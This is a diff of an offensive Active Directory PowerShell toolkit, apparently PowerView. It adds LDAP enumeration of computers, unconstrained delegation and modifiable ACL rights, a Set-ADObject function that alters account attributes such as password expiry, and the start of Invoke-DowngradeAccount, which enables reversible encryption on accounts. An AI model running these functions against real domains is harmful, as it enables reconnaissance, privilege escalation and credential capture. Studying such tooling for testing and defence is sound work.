+ # TODO: change this to a regex for speedup?
+ [int]($_.IdentitySid.split("-")[-1]) -ge 1000
+ }
+ catch {}
+ } | Where-Object {
+ # filter for modifiable rights
+ ($_.ActiveDirectoryRights -eq "GenericAll") -or ($_.ActiveDirectoryRights -match "Write") -or ($_.ActiveDirectoryRights -match "Create") -or ($_.ActiveDirectoryRights -match "Delete") -or (($_.ActiveDirectoryRights -match "ExtendedRight") -and ($_.AccessControlType -eq "Allow"))
+ }
+}
+
+
+filter Get-GUIDMap {
+<#
+ .SYNOPSIS
+
+ Helper to build a hash table of [GUID] -> resolved names
+
+ Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
+
+ .PARAMETER Domain
+
+ The domain to use for the query, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER PageSize
+
+ The PageSize to set for the LDAP searcher object.
+
+ .LINK
+
+ http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
+#>
+
+ [CmdletBinding()]
+ Param (
+ [Parameter(ValueFromPipeline=$True)]
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200
)
- function SplitPath {
- # short internal helper to split UNC server paths
- param([String]$Path)
+ $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'}
- if ($Path -and ($Path.split("\\").Count -ge 3)) {
- $Temp = $Path.split("\\")[2]
- if($Temp -and ($Temp -ne '')) {
- $Temp
+ $SchemaPath = (Get-NetForest).schema.name
+
+ $SchemaSearcher = Get-DomainSearcher -ADSpath $SchemaPath -DomainController $DomainController -PageSize $PageSize
+ if($SchemaSearcher) {
+ $SchemaSearcher.filter = "(schemaIDGUID=*)"
+ try {
+ $Results = $SchemaSearcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
+ # convert the GUID
+ $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0]
}
+ $Results.dispose()
+ $SchemaSearcher.dispose()
+ }
+ catch {
+ Write-Verbose "Error in building GUID map: $_"
}
}
- Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize | Where-Object {$_} | Where-Object {
- # filter for any target users
- if($TargetUsers) {
- $TargetUsers -Match $_.samAccountName
- }
- else { $True }
- } | ForEach-Object {
- # split out every potential file server path
- if($_.homedirectory) {
- SplitPath($_.homedirectory)
- }
- if($_.scriptpath) {
- SplitPath($_.scriptpath)
- }
- if($_.profilepath) {
- SplitPath($_.profilepath)
+ $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize -Credential $Credential
+ if ($RightsSearcher) {
+ $RightsSearcher.filter = "(objectClass=controlAccessRight)"
+ try {
+ $Results = $RightsSearcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
+ # convert the GUID
+ $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0]
}
+ $Results.dispose()
+ $RightsSearcher.dispose()
+ }
+ catch {
+ Write-Verbose "Error in building GUID map: $_"
+ }
+ }
- } | Where-Object {$_} | Sort-Object -Unique
+ $GUIDs
}
-function Get-DFSshare {
+function Get-NetComputer {
<#
.SYNOPSIS
- Returns a list of all fault-tolerant distributed file
- systems for a given domain.
+ This function utilizes adsisearcher to query the current AD context
+ for current computer objects. Based off of Carlos Perez's Audit.psm1
+ script in Posh-SecMod (link below).
- .PARAMETER Version
+ .PARAMETER ComputerName
- The version of DFS to query for servers.
- 1/v1, 2/v2, or all
+ Return computers with a specific name, wildcards accepted.
+
+ .PARAMETER SPN
+
+ Return computers with a specific service principal name, wildcards accepted.
+
+ .PARAMETER OperatingSystem
+
+ Return computers with a specific operating system, wildcards accepted.
+
+ .PARAMETER ServicePack
+
+ Return computers with a specific service pack, wildcards accepted.
+
+ .PARAMETER Filter
+
+ A customized ldap filter string to use, e.g. "(description=*admin*)"
+
+ .PARAMETER Printers
+
+ Switch. Return only printers.
+
+ .PARAMETER Ping
+
+ Switch. Ping each host to ensure it's up before enumerating.
+
+ .PARAMETER FullData
+
+ Switch. Return full computer objects instead of just system names (the default).
.PARAMETER Domain
- The domain to query for user DFS shares, defaults to the current domain.
+ The domain to query for computers, defaults to the current domain.
.PARAMETER DomainController
@@ -3029,6 +3864,14 @@ function Get-DFSshare {
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
+
+ .PARAMETER SiteName
+
+ The AD Site name to search for computers.
+
+ .PARAMETER Unconstrained
+
+ Switch. Return computer objects that have unconstrained delegation.
.PARAMETER PageSize
@@ -3041,22 +3884,60 @@ function Get-DFSshare {
.EXAMPLE
- PS C:\> Get-DFSshare
+ PS C:\> Get-NetComputer
+
+ Returns the current computers in current domain.
- Returns all distributed file system shares for the current domain.
+ .EXAMPLE
+
+ PS C:\> Get-NetComputer -SPN mssql*
+
+ Returns all MS SQL servers on the domain.
.EXAMPLE
- PS C:\> Get-DFSshare -Domain test
+ PS C:\> Get-NetComputer -Domain testing
+
+ Returns the current computers in 'testing' domain.
- Returns all distributed file system shares for the 'test' domain.
-#>
+ .EXAMPLE
- [CmdletBinding()]
- param(
+ PS C:\> Get-NetComputer -Domain testing -FullData
+
+ Returns full computer objects in the 'testing' domain.
+
+ .LINK
+
+ https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1
+#>
+
+ [CmdletBinding()]
+ Param (
+ [Parameter(ValueFromPipeline=$True)]
+ [Alias('HostName')]
[String]
- [ValidateSet("All","V1","1","V2","2")]
- $Version = "All",
+ $ComputerName = '*',
+
+ [String]
+ $SPN,
+
+ [String]
+ $OperatingSystem,
+
+ [String]
+ $ServicePack,
+
+ [String]
+ $Filter,
+
+ [Switch]
+ $Printers,
+
+ [Switch]
+ $Ping,
+
+ [Switch]
+ $FullData,
[String]
$Domain,
@@ -3067,6 +3948,12 @@ function Get-DFSshare {
[String]
$ADSpath,
+ [String]
+ $SiteName,
+
+ [Switch]
+ $Unconstrained,
+
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
@@ -3075,598 +3962,519 @@ function Get-DFSshare {
$Credential
)
- function Parse-Pkt {
- [CmdletBinding()]
- param(
- [byte[]]
- $Pkt
- )
+ begin {
+ # so this isn't repeated if multiple computer names are passed on the pipeline
+ $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential
+ }
- $bin = $Pkt
- $blob_version = [bitconverter]::ToUInt32($bin[0..3],0)
- $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0)
- $offset = 8
- #https://msdn.microsoft.com/en-us/library/cc227147.aspx
- $object_list = @()
- for($i=1; $i -le $blob_element_count; $i++){
- $blob_name_size_start = $offset
- $blob_name_size_end = $offset + 1
- $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0)
+ process {
- $blob_name_start = $blob_name_size_end + 1
- $blob_name_end = $blob_name_start + $blob_name_size - 1
- $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end])
+ if ($CompSearcher) {
- $blob_data_size_start = $blob_name_end + 1
- $blob_data_size_end = $blob_data_size_start + 3
- $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0)
+ # if we're checking for unconstrained delegation
+ if($Unconstrained) {
+ Write-Verbose "Searching for computers with for unconstrained delegation"
+ $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
+ }
+ # set the filters for the seracher if it exists
+ if($Printers) {
+ Write-Verbose "Searching for printers"
+ # $CompSearcher.filter="(&(objectCategory=printQueue)$Filter)"
+ $Filter += "(objectCategory=printQueue)"
+ }
+ if($SPN) {
+ Write-Verbose "Searching for computers with SPN: $SPN"
+ $Filter += "(servicePrincipalName=$SPN)"
+ }
+ if($OperatingSystem) {
+ $Filter += "(operatingsystem=$OperatingSystem)"
+ }
+ if($ServicePack) {
+ $Filter += "(operatingsystemservicepack=$ServicePack)"
+ }
+ if($SiteName) {
+ $Filter += "(serverreferencebl=$SiteName)"
+ }
- $blob_data_start = $blob_data_size_end + 1
- $blob_data_end = $blob_data_start + $blob_data_size - 1
- $blob_data = $bin[$blob_data_start..$blob_data_end]
- switch -wildcard ($blob_name) {
- "\siteroot" { }
- "\domainroot*" {
- # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first...
- # DFSRootOrLinkIDBlob
- $root_or_link_guid_start = 0
- $root_or_link_guid_end = 15
- $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end]
- $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str
- $prefix_size_start = $root_or_link_guid_end + 1
- $prefix_size_end = $prefix_size_start + 1
- $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0)
- $prefix_start = $prefix_size_end + 1
- $prefix_end = $prefix_start + $prefix_size - 1
- $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end])
+ $CompFilter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)"
+ Write-Verbose "Get-NetComputer filter : '$CompFilter'"
+ $CompSearcher.filter = $CompFilter
- $short_prefix_size_start = $prefix_end + 1
- $short_prefix_size_end = $short_prefix_size_start + 1
- $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0)
- $short_prefix_start = $short_prefix_size_end + 1
- $short_prefix_end = $short_prefix_start + $short_prefix_size - 1
- $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end])
+ try {
+ $Results = $CompSearcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
+ $Up = $True
+ if($Ping) {
+ # TODO: how can these results be piped to ping for a speedup?
+ $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
+ }
+ if($Up) {
+ # return full data objects
+ if ($FullData) {
+ # convert/process the LDAP fields for each result
+ $Computer = Convert-LDAPProperty -Properties $_.Properties
+ $Computer.PSObject.TypeNames.Add('PowerView.Computer')
+ $Computer
+ }
+ else {
+ # otherwise we're just returning the DNS host name
+ $_.properties.dnshostname
+ }
+ }
+ }
+ $Results.dispose()
+ $CompSearcher.dispose()
+ }
+ catch {
+ Write-Warning "Error: $_"
+ }
+ }
+ }
+}
- $type_start = $short_prefix_end + 1
- $type_end = $type_start + 3
- $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0)
- $state_start = $type_end + 1
- $state_end = $state_start + 3
- $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0)
+function Get-ADObject {
+<#
+ .SYNOPSIS
- $comment_size_start = $state_end + 1
- $comment_size_end = $comment_size_start + 1
- $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0)
- $comment_start = $comment_size_end + 1
- $comment_end = $comment_start + $comment_size - 1
- if ($comment_size -gt 0) {
- $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end])
- }
- $prefix_timestamp_start = $comment_end + 1
- $prefix_timestamp_end = $prefix_timestamp_start + 7
- # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME
- $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime
- $state_timestamp_start = $prefix_timestamp_end + 1
- $state_timestamp_end = $state_timestamp_start + 7
- $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end]
- $comment_timestamp_start = $state_timestamp_end + 1
- $comment_timestamp_end = $comment_timestamp_start + 7
- $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end]
- $version_start = $comment_timestamp_end + 1
- $version_end = $version_start + 3
- $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0)
+ Takes a domain SID and returns the user, group, or computer object
+ associated with it.
- # Parse rest of DFSNamespaceRootOrLinkBlob here
- $dfs_targetlist_blob_size_start = $version_end + 1
- $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3
- $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0)
+ .PARAMETER SID
- $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1
- $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1
- $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end]
- $reserved_blob_size_start = $dfs_targetlist_blob_end + 1
- $reserved_blob_size_end = $reserved_blob_size_start + 3
- $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0)
+ The SID of the domain object you're querying for.
- $reserved_blob_start = $reserved_blob_size_end + 1
- $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1
- $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end]
- $referral_ttl_start = $reserved_blob_end + 1
- $referral_ttl_end = $referral_ttl_start + 3
- $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0)
+ .PARAMETER Name
- #Parse DFSTargetListBlob
- $target_count_start = 0
- $target_count_end = $target_count_start + 3
- $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0)
- $t_offset = $target_count_end + 1
+ The Name of the domain object you're querying for.
- for($j=1; $j -le $target_count; $j++){
- $target_entry_size_start = $t_offset
- $target_entry_size_end = $target_entry_size_start + 3
- $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0)
- $target_time_stamp_start = $target_entry_size_end + 1
- $target_time_stamp_end = $target_time_stamp_start + 7
- # FILETIME again or special if priority rank and priority class 0
- $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end]
- $target_state_start = $target_time_stamp_end + 1
- $target_state_end = $target_state_start + 3
- $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0)
+ .PARAMETER SamAccountName
- $target_type_start = $target_state_end + 1
- $target_type_end = $target_type_start + 3
- $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0)
+ The SamAccountName of the domain object you're querying for.
- $server_name_size_start = $target_type_end + 1
- $server_name_size_end = $server_name_size_start + 1
- $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0)
+ .PARAMETER Domain
- $server_name_start = $server_name_size_end + 1
- $server_name_end = $server_name_start + $server_name_size - 1
- $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end])
+ The domain to query for objects, defaults to the current domain.
- $share_name_size_start = $server_name_end + 1
- $share_name_size_end = $share_name_size_start + 1
- $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0)
- $share_name_start = $share_name_size_end + 1
- $share_name_end = $share_name_start + $share_name_size - 1
- $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end])
+ .PARAMETER DomainController
- $target_list += "\\$server_name\$share_name"
- $t_offset = $share_name_end + 1
- }
- }
- }
- $offset = $blob_data_end + 1
- $dfs_pkt_properties = @{
- 'Name' = $blob_name
- 'Prefix' = $prefix
- 'TargetList' = $target_list
- }
- $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties
- $prefix = $null
- $blob_name = $null
- $target_list = $null
- }
+ Domain controller to reflect LDAP queries through.
- $servers = @()
- $object_list | ForEach-Object {
- if ($_.TargetList) {
- $_.TargetList | ForEach-Object {
- $servers += $_.split("\")[2]
- }
- }
- }
+ .PARAMETER ADSpath
- $servers
- }
+ The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+ Useful for OU queries.
- function Get-DFSshareV1 {
- [CmdletBinding()]
- param(
- [String]
- $Domain,
+ .PARAMETER Filter
- [String]
- $DomainController,
+ Additional LDAP filter string for the query.
- [String]
- $ADSpath,
+ .PARAMETER ReturnRaw
- [ValidateRange(1,10000)]
- [Int]
- $PageSize = 200,
+ Switch. Return the raw object instead of translating its properties.
+ Used by Set-ADObject to modify object properties.
- [Management.Automation.PSCredential]
- $Credential
- )
+ .PARAMETER PageSize
- $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
+ The PageSize to set for the LDAP searcher object.
- if($DFSsearcher) {
- $DFSshares = @()
- $DFSsearcher.filter = "(&(objectClass=fTDfs))"
+ .PARAMETER Credential
- try {
- $Results = $DFSSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- $Properties = $_.Properties
- $RemoteNames = $Properties.remoteservername
- $Pkt = $Properties.pkt
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
- $DFSshares += $RemoteNames | ForEach-Object {
- try {
- if ( $_.Contains('\') ) {
- New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split("\")[2]}
- }
- }
- catch {
- Write-Debug "Error in parsing DFS share : $_"
- }
- }
- }
- $Results.dispose()
- $DFSSearcher.dispose()
+ .EXAMPLE
- if($pkt -and $pkt[0]) {
- Parse-Pkt $pkt[0] | ForEach-Object {
- # If a folder doesn't have a redirection it will
- # have a target like
- # \\null\TestNameSpace\folder\.DFSFolderLink so we
- # do actually want to match on "null" rather than
- # $null
- if ($_ -ne "null") {
- New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_}
- }
- }
- }
- }
- catch {
- Write-Warning "Get-DFSshareV1 error : $_"
- }
- $DFSshares | Sort-Object -Property "RemoteServerName"
- }
- }
+ PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110"
+
+ Get the domain object associated with the specified SID.
+
+ .EXAMPLE
- function Get-DFSshareV2 {
- [CmdletBinding()]
- param(
- [String]
- $Domain,
+ PS C:\> Get-ADObject -ADSpath "CN=AdminSDHolder,CN=System,DC=testlab,DC=local"
+
+ Get the AdminSDHolder object for the testlab.local domain.
+#>
- [String]
- $DomainController,
+ [CmdletBinding()]
+ Param (
+ [Parameter(ValueFromPipeline=$True)]
+ [String]
+ $SID,
- [String]
- $ADSpath,
+ [String]
+ $Name,
- [ValidateRange(1,10000)]
- [Int]
- $PageSize = 200,
+ [String]
+ $SamAccountName,
- [Management.Automation.PSCredential]
- $Credential
- )
+ [String]
+ $Domain,
- $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
+ [String]
+ $DomainController,
- if($DFSsearcher) {
- $DFSshares = @()
- $DFSsearcher.filter = "(&(objectClass=msDFS-Linkv2))"
- $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2'))
+ [String]
+ $ADSpath,
+
+ [String]
+ $Filter,
+
+ [Switch]
+ $ReturnRaw,
+
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200,
+ [Management.Automation.PSCredential]
+ $Credential
+ )
+ process {
+ if($SID) {
+ # if a SID is passed, try to resolve it to a reachable domain name for the searcher
try {
- $Results = $DFSSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- $Properties = $_.Properties
- $target_list = $Properties.'msdfs-targetlistv2'[0]
- $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)])
- $DFSshares += $xml.targets.ChildNodes | ForEach-Object {
- try {
- $Target = $_.InnerText
- if ( $Target.Contains('\') ) {
- $DFSroot = $Target.split("\")[3]
- $ShareName = $Properties.'msdfs-linkpathv2'[0]
- New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split("\")[2]}
- }
- }
- catch {
- Write-Debug "Error in parsing target : $_"
- }
+ $Name = Convert-SidToName $SID
+ if($Name) {
+ $Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical
+ if($Canonical) {
+ $Domain = $Canonical.split("/")[0]
+ }
+ else {
+ Write-Warning "Error resolving SID '$SID'"
+ return $Null
}
}
- $Results.dispose()
- $DFSSearcher.dispose()
}
catch {
- Write-Warning "Get-DFSshareV2 error : $_"
+ Write-Warning "Error resolving SID '$SID' : $_"
+ return $Null
}
- $DFSshares | Sort-Object -Unique -Property "RemoteServerName"
}
- }
- $DFSshares = @()
+ $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
- if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) {
- $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
- }
- if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) {
- $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
- }
+ if($ObjectSearcher) {
+ if($SID) {
+ $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)"
+ }
+ elseif($Name) {
+ $ObjectSearcher.filter = "(&(name=$Name)$Filter)"
+ }
+ elseif($SamAccountName) {
+ $ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)"
+ }
- $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique
+ $Results = $ObjectSearcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
+ if($ReturnRaw) {
+ $_
+ }
+ else {
+ # convert/process the LDAP fields for each result
+ Convert-LDAPProperty -Properties $_.Properties
+ }
+ }
+ $Results.dispose()
+ $ObjectSearcher.dispose()
+ }
+ }
}
-########################################################
-#
-# GPO related functions.
-#
-########################################################
-
-function Get-GptTmpl {
+function Set-ADObject {
<#
.SYNOPSIS
- Helper to parse a GptTmpl.inf policy file path into a custom object.
+ Takes a SID, name, or SamAccountName to query for a specified
+ domain object, and then sets a specified 'PropertyName' to a
+ specified 'PropertyValue'.
- .PARAMETER GptTmplPath
+ .PARAMETER SID
- The GptTmpl.inf file path name to parse.
+ The SID of the domain object you're querying for.
- .PARAMETER UsePSDrive
+ .PARAMETER Name
- Switch. Mount the target GptTmpl folder path as a temporary PSDrive.
+ The Name of the domain object you're querying for.
- .EXAMPLE
+ .PARAMETER SamAccountName
- PS C:\> Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
+ The SamAccountName of the domain object you're querying for.
- Parse the default domain policy .inf for dev.testlab.local
-#>
+ .PARAMETER Domain
- [CmdletBinding()]
- Param (
- [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
- [String]
- $GptTmplPath,
+ The domain to query for objects, defaults to the current domain.
- [Switch]
- $UsePSDrive
- )
+ .PARAMETER DomainController
- begin {
- if($UsePSDrive) {
- # if we're PSDrives, create a temporary mount point
- $Parts = $GptTmplPath.split('\')
- $FolderPath = $Parts[0..($Parts.length-2)] -join '\'
- $FilePath = $Parts[-1]
- $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
-
- Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive"
+ Domain controller to reflect LDAP queries through.
- try {
- $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
- }
- catch {
- Write-Debug "Error mounting path $GptTmplPath : $_"
- return $Null
- }
-
- # so we can cd/dir the new drive
- $TargetGptTmplPath = $RandDrive + ":\" + $FilePath
- }
- else {
- $TargetGptTmplPath = $GptTmplPath
- }
- }
-
- process {
- $SectionName = ''
- $SectionsTemp = @{}
- $SectionsFinal = @{}
+ .PARAMETER Filter
- try {
- Write-Verbose "Parsing $TargetGptTmplPath"
+ Additional LDAP filter string for the query.
- Get-Content $TargetGptTmplPath -ErrorAction Stop | ForEach-Object {
- if ($_ -match '\[') {
- # this signifies that we're starting a new section
- $SectionName = $_.trim('[]') -replace ' ',''
- }
- elseif($_ -match '=') {
- $Parts = $_.split('=')
- $PropertyName = $Parts[0].trim()
- $PropertyValues = $Parts[1].trim()
+ .PARAMETER PropertyName
- if($PropertyValues -match ',') {
- $PropertyValues = $PropertyValues.split(',')
- }
+ The property name to set.
- if(!$SectionsTemp[$SectionName]) {
- $SectionsTemp.Add($SectionName, @{})
- }
+ .PARAMETER PropertyValue
- # add the parsed property into the relevant Section name
- $SectionsTemp[$SectionName].Add( $PropertyName, $PropertyValues )
- }
- }
+ The value to set for PropertyName
- ForEach ($Section in $SectionsTemp.keys) {
- # transform each nested hash table into a custom object
- $SectionsFinal[$Section] = New-Object PSObject -Property $SectionsTemp[$Section]
- }
+ .PARAMETER PropertyXorValue
- # transform the parent hash table into a custom object
- New-Object PSObject -Property $SectionsFinal
- }
- catch {
- Write-Debug "Error parsing $TargetGptTmplPath : $_"
- }
- }
+ Integer value to binary xor (-bxor) with the current int value.
- end {
- if($UsePSDrive -and $RandDrive) {
- Write-Verbose "Removing temp PSDrive $RandDrive"
- Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
- }
- }
-}
+ .PARAMETER ClearValue
+ Switch. Clear the value of PropertyName
-function Get-GroupsXML {
-<#
- .SYNOPSIS
+ .PARAMETER PageSize
- Helper to parse a groups.xml file path into a custom object.
+ The PageSize to set for the LDAP searcher object.
- .PARAMETER GroupsXMLpath
+ .PARAMETER Credential
- The groups.xml file path name to parse.
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
- .PARAMETER ResolveSids
+ .EXAMPLE
- Switch. Resolve Sids from a DC policy to object names.
+ PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0
+
+ Set the countrycode for matt.admin to 0
- .PARAMETER UsePSDrive
+ .EXAMPLE
- Switch. Mount the target groups.xml folder path as a temporary PSDrive.
+ PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName useraccountcontrol -PropertyXorValue 65536
+
+ Set the password not to expire on matt.admin
#>
[CmdletBinding()]
Param (
- [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
[String]
- $GroupsXMLPath,
+ $SID,
- [Switch]
- $ResolveSids,
+ [String]
+ $Name,
+
+ [String]
+ $SamAccountName,
+
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [String]
+ $Filter,
+
+ [Parameter(Mandatory = $True)]
+ [String]
+ $PropertyName,
+
+ $PropertyValue,
+
+ [Int]
+ $PropertyXorValue,
[Switch]
- $UsePSDrive
- )
+ $ClearValue,
- begin {
- if($UsePSDrive) {
- # if we're PSDrives, create a temporary mount point
- $Parts = $GroupsXMLPath.split('\')
- $FolderPath = $Parts[0..($Parts.length-2)] -join '\'
- $FilePath = $Parts[-1]
- $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200,
- Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive"
+ [Management.Automation.PSCredential]
+ $Credential
+ )
- try {
- $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
- }
- catch {
- Write-Debug "Error mounting path $GroupsXMLPath : $_"
- return $Null
- }
+ $Arguments = @{
+ 'SID' = $SID
+ 'Name' = $Name
+ 'SamAccountName' = $SamAccountName
+ 'Domain' = $Domain
+ 'DomainController' = $DomainController
+ 'Filter' = $Filter
+ 'PageSize' = $PageSize
+ 'Credential' = $Credential
+ }
+ # splat the appropriate arguments to Get-ADObject
+ $RawObject = Get-ADObject -ReturnRaw @Arguments
+
+ try {
+ # get the modifiable object for this search result
+ $Entry = $RawObject.GetDirectoryEntry()
+
+ if($ClearValue) {
+ Write-Verbose "Clearing value"
+ $Entry.$PropertyName.clear()
+ $Entry.commitchanges()
+ }
- # so we can cd/dir the new drive
- $TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath
+ elseif($PropertyXorValue) {
+ $TypeName = $Entry.$PropertyName[0].GetType().name
+
+ # UAC value references- https://support.microsoft.com/en-us/kb/305144
+ $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue
+ $Entry.$PropertyName = $PropertyValue -as $TypeName
+ $Entry.commitchanges()
}
+
else {
- $TargetGroupsXMLPath = $GroupsXMLPath
+ $Entry.put($PropertyName, $PropertyValue)
+ $Entry.setinfo()
}
}
+ catch {
+ Write-Warning "Error setting property $PropertyName to value '$PropertyValue' for object $($RawObject.Properties.samaccountname) : $_"
+ }
+}
- process {
- try {
- [xml] $GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop
+function Invoke-DowngradeAccount {
+<#
+ .SYNOPSIS
- # process all group properties in the XML
- $GroupsXMLcontent | Select-Xml "//Groups" | Select-Object -ExpandProperty node | ForEach-Object {
+ Set reversible encryption on a given account and then force the password
+ to be set on next user login. To repair use "-Repair".
+
+ .PARAMETER SamAccountName
- $Members = @()
- $MemberOf = @()
+ The SamAccountName of the domain object you're querying for.
- # extract the localgroup sid for memberof
- $LocalSid = $_.Properties.GroupSid
- if(!$LocalSid) {
